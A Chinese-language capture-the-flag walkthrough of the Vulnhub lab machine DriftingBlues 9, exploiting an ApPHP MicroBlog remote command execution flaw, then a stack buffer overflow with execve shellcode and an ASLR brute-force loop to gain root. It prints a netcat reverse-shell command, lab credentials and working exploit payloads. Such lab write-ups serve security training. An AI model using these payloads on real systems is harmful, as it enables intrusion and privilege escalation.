Vulnhub 靶场 DRIFTINGBLUES: 9 (FINAL)
前期准备:
靶机地址:https://www.vulnhub.com/entry/driftingblues-9-final,695/
kali攻击机ip:192.168.11.129
靶机ip:192.168.11.147
一、信息收集
1.使用nmap对目标靶机进行扫描
发现开放了80端口。
2. 80端口
查看源码:
发现提示,说这个脚本由 ApPHP MicroBlog v.1.0.1 生成,搜索一下有没有相关漏洞:
发现有个远程命令执行。
二、漏洞利用
查看一下 33070.py:
尝试运行一下:
python 33070.py http://192.168.11.147
USERNAME:clapton
PASSWORD:yaraklitepe
发现可以用,并且获得了数据库的用户名和密码,不过这样用着有点别扭,发现有 nc,再用 nc 连接:
nc 192.168.11.129 1234 -e /bin/bash
升级一下 shell:
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
查看家目录:
发现有 clapton 用户,和数据库中的用户一样,尝试用数据路中的密码登录一下 clapton 用户:
成功登录到 clapton 用户,查看一下用户文件:
提示缓冲区溢出,并且给了两个案例:
https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm
三、缓冲区溢出提权
结合案例学习分析,先把 input 文件传输到本地,用 python2 开启一个简易 http 服务并获取 input 文件并赋权:
python2 -m SimpleHTTPServer
chmod +x input
检查一下有没有防护措施:
发现没有,先禁用 ASLR,然后在 gdb 中加载二进制文件:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gdb -q input
然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:
cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1000
将生成的字符串用命令 r 在 gdb 中运行二进制文件:
在 0x41376641 处得到了错误,计算一下偏移量:
./pattern_offset.rb -q 0x41376641
计算出偏移量是 171,用 python 构造字符串:
r $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 64 )')
可以用,查看ESP寄存器的值:
x/s $esp
用esp 寄存器的 0xffffcfc0 替换 4 个 B,因为是小字节序,倒过来写,构造 payload:
r $(python -c 'print("A" * 171 + "\xc0\xcf\xff\xff" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')
本地运行成功。
靶机上运行,查看 ESP 寄存器的值:
因为靶机启用了 ASLR,没有权限关闭,所以写个循环:
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\xe0\x13\x8b\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
得到了 root 权限,查看 flag:
完成。